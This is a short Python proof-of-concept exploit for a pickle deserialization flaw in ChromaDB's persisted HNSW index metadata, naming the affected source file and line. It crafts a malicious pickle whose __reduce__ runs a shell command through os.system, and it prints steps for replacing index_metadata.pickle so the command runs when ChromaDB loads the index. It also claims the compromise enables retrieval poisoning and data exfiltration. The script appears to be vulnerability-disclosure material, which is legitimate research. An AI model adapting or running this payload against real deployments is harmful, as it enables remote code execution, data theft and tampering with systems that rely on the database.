| """ChromaDB — pickle.load on HNSW index_metadata.pickle PoC | |
| The PersistentLocalHnswSegment loads index metadata via pickle.load() | |
| from the persist directory. Replacing this file leads to RCE. | |
| Affected: chromadb/segment/impl/vector/local_persistent_hnsw.py:75 | |
| """ | |
| import pickle | |
| import os | |
| class RCEPayload: | |
| def __reduce__(self): | |
| return (os.system, ('id > /tmp/chromadb_pwned',)) | |
| # Craft malicious index_metadata.pickle | |
| payload = pickle.dumps(RCEPayload()) | |
| print(f"Malicious pickle payload: {len(payload)} bytes") | |
| print() | |
| print("Attack: replace <chroma_persist_dir>/index_metadata.pickle with this payload") | |
| print("When ChromaDB restarts or loads the index, pickle.load() triggers RCE") | |
| print() | |
| print("AI Impact: ChromaDB is the vector DB for RAG systems.") | |
| print("Compromising the index enables RAG poisoning + data exfiltration.") | |